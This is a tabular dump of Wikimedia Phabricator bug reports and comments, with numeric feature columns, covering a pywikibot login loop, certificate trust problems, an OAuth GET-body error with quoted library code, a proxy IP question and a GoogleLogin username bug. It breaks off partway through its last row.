516300,Login with pywikibot loops on toollabs,It seems like I got that issue too but locally and using `python setup.py nosetests --tests tests --verbosity=2` as the command.,,,1440716132,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6470588235294117,1.0,It seems like I got that issue too but locally and using CODE as the command.
511539,Login with pywikibot loops on toollabs,">>! In T109215#1543217, @Billinghurst wrote:
> […]and no loop

By the way this does **not** fix the issue here. Using the login script afterwards again causes the looping behavior. Afaik it's also looping when running a script.",,,1440070958,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,10.0,0.0,0.0,0.0,3.75,0.725,"QUOTE
QUOTE

By the way this does **not** fix the issue here. Using the login script afterwards again causes the looping behavior. Afaik it's also looping when running a script."
511504,Login with pywikibot loops on toollabs,"I encountered this once yesterday, and deleting `pywikibot.lwp` fixed it.
@xzise also reported a similar sequence on https://gerrit.wikimedia.org/r/#/c/231218/ PS 6",,,1440066908,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,14.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,4.545454545454546,1.0,"I encountered this once yesterday, and deleting CODE fixed it.SCREEN_NAME also reported a similar sequence on URL PS 6"
509076,Login with pywikibot loops on toollabs,"with guidance I ran
   python -c ""import pywikibot; s = pywikibot.Site('en', 'wikisource'); s.login()""
and no loop",,,1439726937,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2580645161290325,0.8064516129032258,"with guidance I ran
   python -c ""import pywikibot; s = pywikibot.Site('en', 'wikisource'); s.login()""
and no loop"
109029,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates","Chrome on OS X 10.11 (""El Capitan"") does not trust our certificates, because the certificate chain contains the GlobalSign Root CA certificate, which uses a SHA-1 signature algorithm.

{F1488205} {F1488208}

OS X 10.11 is currently released as a developer preview. A public release date has not yet been set, but it is widely expected to occur sometime this fall.",Needs Triage,90.0,1439513461,1439527190.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-tfj5ru5soqi46jiav6m4,task_description,declined,True,c3,3,True,True,True,6,True,0.0,0.0,0.0,4.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,19.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,5.0,11.0,0.0,3.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,4.093333333333334,0.7866666666666666,"Chrome on OS X 10.11 (""El Capitan"") does not trust our certificates, because the certificate chain contains the GlobalSign Root CA certificate, which uses a SHA-1 signature algorithm.

{F1488205} {F1488208}

OS X 10.11 is currently released as a developer preview. A public release date has not yet been set, but it is widely expected to occur sometime this fall."
511575,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates","FYI, as of El Capitan Beta 5 release + Chrome 44.0.2403.155, the issue seems to be resolved, although I'm not sure which update fixed it :)",,,1440075460,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-tfj5ru5soqi46jiav6m4,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,3.0,3.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,13.0,20.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9333333333333333,"FYI, as of El Capitan Beta 5 release + Chrome 44.0.2403.155, the issue seems to be resolved, although I'm not sure which update fixed it :)"
508044,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates",Upstream bug.,,,1439527190,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-tfj5ru5soqi46jiav6m4,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Upstream bug.
508029,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates","I switched my Mac to El Capitan as well a week or two ago and ran into the same thing.  It's a Chrome+ElCapitan bug that Chrome will eventually fix, not an issue with our servers/certs: https://code.google.com/p/chromium/issues/detail?id=499506 .  (SHA-1 Root-level certs don't actually matter and aren't supposed to make Chrome Red-X our site).",,,1439521531,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-tfj5ru5soqi46jiav6m4,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,19.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,7.0,6.0,16.0,0.0,0.0,0.0,7.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.463768115942029,0.8405797101449275,"I switched my Mac to El Capitan as well a week or two ago and ran into the same thing.  It's a Chrome+ElCapitan bug that Chrome will eventually fix, not an issue with our servers/certs: URL .  (SHA-1 Root-level certs don't actually matter and aren't supposed to make Chrome Red-X our site)."
108182,ValueError when using OAuth on HTTPS sites,"OAuth mechanism of Pywikibot works well on HTTP sites, but ValueError is raised when enabling OAuth authentication on HTTPS sites. 

https://travis-ci.org/VcamX/pywikibot-core/jobs/74350129#L379

```
Test a Page instance as parameter using ASCII chars. ... ERROR: Traceback (most recent call last):
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/data/api.py"", line 1912, in submit
    body=body, headers=headers)
  File ""/home/travis/build/VcamX/pywikibot-core/tests/utils.py"", line 414, in request
    result = self.__wrapper._old_http.request(*args, **kwargs)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/tools/__init__.py"", line 1245, in wrapper
    return obj(*__args, **__kw)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 243, in request
    r = fetch(baseuri, method, body, headers, **kwargs)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 393, in fetch
    error_handling_callback(request)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 310, in error_handling_callback
    raise request.data
ValueError: GET/HEAD requests should not include body.
```

### Workaround

The workaround is not to use GET when OAuth enabled. This is fixed since PS17 for T102602.",Needs Triage,90.0,1438864704,1439817629.0,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-wwbyu3hau6kizcvruovz,task_description,resolved,True,c3,3,True,True,True,5,True,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,27.0,5.0,2.0,4.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,11.0,18.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9454545454545453,0.6909090909090909,"OAuth mechanism of Pywikibot works well on HTTP sites, but ValueError is raised when enabling OAuth authentication on HTTPS sites. 

URL

``CODE``

### Workaround

The workaround is not to use GET when OAuth enabled. This is fixed since PS17 for T102602."
507241,ValueError when using OAuth on HTTPS sites,"I can confirm that it's not a bug in mwoauth. It about how oauthlib and requests-oauth deal with it.
Our login request with OAuth will end up to the following branch in [requests-oauthlib](https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth1_auth.py#L79):

        ...
        if is_form_encoded:
            r.headers['Content-Type'] = CONTENT_TYPE_FORM_URLENCODED
            r.url, headers, r.body = self.client.sign(
                unicode(r.url), unicode(r.method), r.body or '', r.headers)
        elif self.force_include_body:
            ...

Note that `r.body or''` in `self.client.sign`, which mean this parameter will be '' instead of r.body since r.body is None here.

In function [sign](https://github.com/idan/oauthlib/blob/master/oauthlib/oauth1/rfc5849/__init__.py#L225) of oauthlib:

    def sign(self, uri, http_method='GET', body=None, headers=None, realm=None):
        # normalize request data
        request = Request(uri, http_method, body, headers,
                          encoding=self.encoding)
        ...
        has_params = request.decoded_body is not None
        ...
        elif http_method.upper() in ('GET', 'HEAD') and has_params:
            raise ValueError('GET/HEAD requests should not include body.')
        ...

Note that if body is None for request, request.decoded_body can't work since it'll decode None.
So I have to say it's about the way oauthlib deal with `request.decoded_body`.",,,1439452133,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-wwbyu3hau6kizcvruovz,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,2.0,4.333333333333333,0.0,0.0,0.0,1.0,0.0,3.3333333333333335,8.333333333333334,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,4.0,1.0,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,18.666666666666668,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,1.6666666666666667,9.666666666666666,3.0,1.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,5.333333333333333,0.0,0.0,0.0,3.3333333333333335,8.333333333333334,5.666666666666667,0.0,2.6666666666666665,0.0,3.3333333333333335,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,4.734177215189874,0.7172995780590717,"I can confirm that it's not a bug in mwoauth. It about how oauthlib and requests-oauth deal with it.
Our login request with OAuth will end up to the following branch in [requests-oauthlib](URL

        ...
        if is_form_encoded:
            r.headers['Content-Type'] = CONTENT_TYPE_FORM_URLENCODED
            r.url, headers, r.body = self.client.sign(
                unicode(r.url), unicode(r.method), r.body or '', r.headers)
        elif self.force_include_body:
            ...

Note that CODE in CODE, which mean this parameter will be '' instead of r.body since r.body is None here.

In function [sign](URL of oauthlib:

    def sign(self, uri, http_method='GET', body=None, headers=None, realm=None):
        # normalize request data
        request = Request(uri, http_method, body, headers,
                          encoding=self.encoding)
        ...
        has_params = request.decoded_body is not None
        ...
        elif http_method.upper() in ('GET', 'HEAD') and has_params:
            raise ValueError('GET/HEAD requests should not include body.')
        ...

Note that if body is None for request, request.decoded_body can't work since it'll decode None.
So I have to say it's about the way oauthlib deal with CODE."
507237,ValueError when using OAuth on HTTPS sites,"So the workaround is to not use GET when oauth is available.

Do we know why the bug is happening?  oauth is adding a body to the GET request?  Is that a bug in mwoauth?",,,1439450504,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wwbyu3hau6kizcvruovz,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,12.0,12.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,5.0,7.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,3.238095238095238,0.6904761904761905,"So the workaround is to not use GET when oauth is available.

Do we know why the bug is happening?  oauth is adding a body to the GET request?  Is that a bug in mwoauth?"
503842,ValueError when using OAuth on HTTPS sites,This is solved by PS17 of T102602.,,,1438919470,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-wwbyu3hau6kizcvruovz,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,This is solved by PS17 of T102602.
107866,Have a public IP & DNS for Beta's HTTP proxy,"The production proxy, `url-downloader.wikimedia.org` has got a public DNS record and IP, and advertises as such to its internal users. Beta's proxy, on the other hand, has got an internal IP, which may create subtle discrepancies in application behaviour. The motivation for this are applications that want to check whether they are about to do an internal or external request, which then see the connecting peer always with an internal IP.",Needs Triage,90.0,1438688923,1438696816.0,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-TASK-emtzniejf66eo44rdouc,task_description,invalid,True,c3,3,True,True,True,4,True,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,14.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,2.0,10.0,1.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,6.0,0.0,0.0,0.0,2.0,0.0,4.0,5.0,0.0,1.0,0.0,0.0,0.0,4.246913580246914,0.7037037037037037,"The production proxy, CODE has got a public DNS record and IP, and advertises as such to its internal users. Beta's proxy, on the other hand, has got an internal IP, which may create subtle discrepancies in application behaviour. The motivation for this are applications that want to check whether they are about to do an internal or external request, which then see the connecting peer always with an internal IP."
501798,Have a public IP & DNS for Beta's HTTP proxy,">>! In T107866#1506208, @akosiaris wrote:
> Couple of questions:
> 
> * Why would applications what to check if they are about to do an internal or external request ? Got a use case in mind ?

My reasoning was that having a proxy changes the request dynamic, as the request for `example.com` connects to the proxy, passing it a `Host` header for the sought domain. Thus, by changing the dynamic we might influence an application's decision on what to do. The use case I had in mind was Citoid which needs to know //a priori// the IP of the target host it contacts.

> * Even if there is a legitimate use case, why couple the detection to url-downloader's IP ?

Right, and in fact we don't. We use `dns.resolve` which actually looks up the target IP, regardless of the proxy.

> 
> I am mostly trying to understand what the problem is and what the best way to address it is

Heh, good you did :) Hence, setting this as an invalid ticket.",,,1438696816,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-emtzniejf66eo44rdouc,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,3.5,9.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,4.5,1.5,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,2.0,0.0,0.0,0.0,0.0,1.0,0.0,8.5,1.5,13.5,0.5,1.0,10.5,0.0,1.0,0.0,0.0,2.5,0.0,0.0,1.0,5.0,9.0,4.5,0.0,0.0,0.0,5.0,0.0,2.0,2.5,0.0,2.5,0.0,0.0,0.0,3.684615384615385,0.7153846153846154,"QUOTE
QUOTE
QUOTE
QUOTE

My reasoning was that having a proxy changes the request dynamic, as the request for CODE connects to the proxy, passing it a CODE header for the sought domain. Thus, by changing the dynamic we might influence an application's decision on what to do. The use case I had in mind was Citoid which needs to know //a priori// the IP of the target host it contacts.

QUOTE

Right, and in fact we don't. We use CODE which actually looks up the target IP, regardless of the proxy.

QUOTE
QUOTE

Heh, good you did :) Hence, setting this as an invalid ticket."
501789,Have a public IP & DNS for Beta's HTTP proxy,"Couple of questions:

* Why would applications what to check if they are about to do an internal or external request ? Got a use case in mind ?
* Even if there is a legitimate use case, why couple the detection to url-downloader's IP ?

I am mostly trying to understand what the problem is and what the best way to address it is

",,,1438695866,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-emtzniejf66eo44rdouc,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,8.0,7.0,8.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,12.0,1.0,4.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,1.0,0.0,1.0,0.0,3.635135135135135,0.7432432432432432,"Couple of questions:

* Why would applications what to check if they are about to do an internal or external request ? Got a use case in mind ?
* Even if there is a legitimate use case, why couple the detection to url-downloader's IP ?

I am mostly trying to understand what the problem is and what the best way to address it is

"
107806,GoogleLogin provides incorrect data if first letter of username is not capitalized,"Took me a while to track this down today...

Steps to reproduce: 
1. Install GoogleLogin plugin
2. Attempt to create a new account, using a username that is not taken, but has a lowercase letter as the first letter. 
3. Plugin returns googlelogin-form-choosename-existerror instead of silently accepting username and just capitalizing the first letter... 

Patch will be submitted shortly. ",Needs Triage,90.0,1438639666,1440576665.0,PHID-USER-zbrssgjmfiiovtpno6yd,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-i4j27y4w2c2yka25pnc2,task_description,resolved,True,c3,3,False,False,True,4,True,0.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,8.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,2.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,1.0,8.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,4.0,0.0,0.0,2.0,4.1625,0.7375,"Took me a while to track this down today...

Steps to reproduce: 
1. Install GoogleLogin plugin
2. Attempt to create a new account, using a username that is not taken, but has a lowercase letter as the first letter. 
3. Plugin returns googlelogin-form-choosename-existerror instead of silently accepting username and just capitalizing the first letter... 

Patch will be submitted shortly. "
514738,GoogleLogin provides incorrect data if first letter of username is not capitalized,"Change 228998 merged by jenkins-bot:
Silently uppercase the first letter of a users name

[[https://gerrit.wikimedia.org/r/228998]]",,,1440576621,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i4j27y4w2c2yka25pnc2,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.9166666666666666,"Change 228998 merged by jenkins-bot:
Silently uppercase the first letter of a users name

[[GERRIT_URL]]"
501496,GoogleLogin provides incorrect data if first letter of username is not capitalized,"Change 228998 had a related patch set uploaded (by Florianschmidtwelzow):
Silently uppercase the first letter of a users name

[[https://gerrit.wikimedia.org/r/228998]]
",,,1438640189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i4j27y4w2c2yka25pnc2,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,4.310344827586207,0.8620689655172413,"Change 228998 had a related patch set uploaded (by Florianschmidtwelzow):
Silently uppercase the first letter of a users name

[[GERRIT_URL]]
"
107575,download.wiki[mp]edia.org are using an invalid certificate,"https://download.wikipedia.org/ and https://download.wikimedia.org/ are using the certificate of dumps.wikimedia.org, which doesn't match download.wikipedia.org or download.wikimedia.org. ",Needs Triage,90.0,1438350061,1440547954.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-77ccuqpf75t5iindumtx,task_description,resolved,True,c3,3,True,True,True,4,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.5,0.9444444444444444,"URL and URL are using the certificate of dumps.wikimedia.org, which doesn't match download.wikipedia.org or download.wikimedia.org. "
794866,download.wiki[mp]edia.org are using an invalid certificate,"Change 333272 merged by Dzahn:
dumps: remove nginx for download.wikimedia.org

